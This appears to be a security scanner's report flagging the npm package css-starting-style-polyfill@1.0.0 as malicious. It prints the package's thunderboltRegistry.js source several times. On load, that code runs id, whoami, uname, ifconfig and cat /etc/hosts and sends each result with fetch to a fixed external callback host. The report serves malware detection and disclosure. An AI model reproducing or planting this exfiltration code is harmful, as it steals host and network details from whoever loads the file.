Loading npm security reports…

css-starting-style-polyfill@1.0.0: Malicious npm security report | LPM Firewall

registry / css-starting-style-polyfill / 1.0.0

css-starting-style-polyfill@1.0.0

Polyfill for CSS @starting-style rule

AI Security Review

scanned 5d ago · by lpm-firewall-ai

Loading thunderboltRegistry.js automatically collects and transmits host information. The shipped manifest exposes this file as several registry implementations.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer loads thunderboltRegistry.js directly or through the registry manifest.

Impact

Discloses system identity, network configuration, hostname and /etc/hosts contents when the required runtime capabilities are available.

Mechanism

A top-level function executes shell commands and sends their output using fetch to a fixed external endpoint; it also sends runtime metadata.

Attack narrative

The package ships a registry implementation whose top-level function executes reconnaissance commands and forwards results to a fixed external recipient. Its registry manifest points consumers to that implementation. Execution requires loading the registry file, and shell collection requires child_process; transmission requires fetch. The empty default entrypoint limits activation but does not neutralize the active exfiltration behavior in the advertised registry file.

AI rationale

Inspected source establishes automatic system reconnaissance and data exfiltration unrelated to CSS polyfill functionality. The registry payload is executable on load, despite the absence of installation hooks and the empty default entrypoint.

Evidence

thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts

Network endpoints1

/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-72javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

The registry file sends collected information and the hostname to a fixed unrelated HTTPS endpoint.

thunderboltRegistry.jsView on unpkg · L11

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading the registry file executes a system identity command and forwards its output.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The registry file reads /etc/hosts through a shell command and forwards its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=poc16&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

High

Ai Review Evidence

A top-level invocation sends runtime version, platform, process identifier and timestamp without opt-in.

thunderboltRegistry.jsView on unpkg · L52

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

66 getLibrariesAssets: function() { return []; },

67 getManifestURLs: function() { return []; },

68 getHostBundleAssets: function() { return []; },

69 loadComponents: function() { return Promise.resolve({}); },

70 loadAllComponents: function() { return Promise.resolve({}); },

71 getRuntime: function() { return {libraries: []}; },

72 getManifest: function() { return {}; },

•matchType = normalized_sha256 matchedPackage = css-light-dark-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:Y3NzLWxpZ2h0LWRhcmstcG9seWZpbGw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 6a67e904f4511d83 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-light-dark-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:Y3NzLWxpZ2h0LWRhcmstcG9seWZpbGw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

The shipped registry manifest directs registry consumers to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js"

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "https://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

11var wh = "https://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = r

High

Ai Review Evidence

The registry file sends collected information and the hostname to a fixed unrelated HTTPS endpoint.

thunderboltRegistry.jsView on unpkg · L11

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try { var whoami

High

Ai Review Evidence

Loading the registry file executes a system identity command and forwards its output.

thunderboltRegistry.jsView on unpkg · L25

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no", pid = "

High

Ai Review Evidence

The registry file reads /etc/hosts through a shell command and forwards its contents.

thunderboltRegistry.jsView on unpkg · L45

52exfil("beacon=poc16&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now()); })(); var hosts = [ "thunderboltRegistr

High

Ai Review Evidence

A top-level invocation sends runtime version, platform, process identifier and timestamp without opt-in.

thunderboltRegistry.jsView on unpkg · L52

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsReg

High

Ai Review Evidence

The shipped registry manifest directs registry consumers to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-72javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

The registry file sends collected information and the hostname to a fixed unrelated HTTPS endpoint.

thunderboltRegistry.jsView on unpkg · L11

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading the registry file executes a system identity command and forwards its output.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The registry file reads /etc/hosts through a shell command and forwards its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=poc16&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

High

Ai Review Evidence

A top-level invocation sends runtime version, platform, process identifier and timestamp without opt-in.

thunderboltRegistry.jsView on unpkg · L52

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

66 getLibrariesAssets: function() { return []; },

67 getManifestURLs: function() { return []; },

68 getHostBundleAssets: function() { return []; },

69 loadComponents: function() { return Promise.resolve({}); },

70 loadAllComponents: function() { return Promise.resolve({}); },

71 getRuntime: function() { return {libraries: []}; },

72 getManifest: function() { return {}; },

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

The shipped registry manifest directs registry consumers to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-starting-style-polyfill@1.0.0/thunderboltRegistry.js"

css-starting-style-polyfill@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code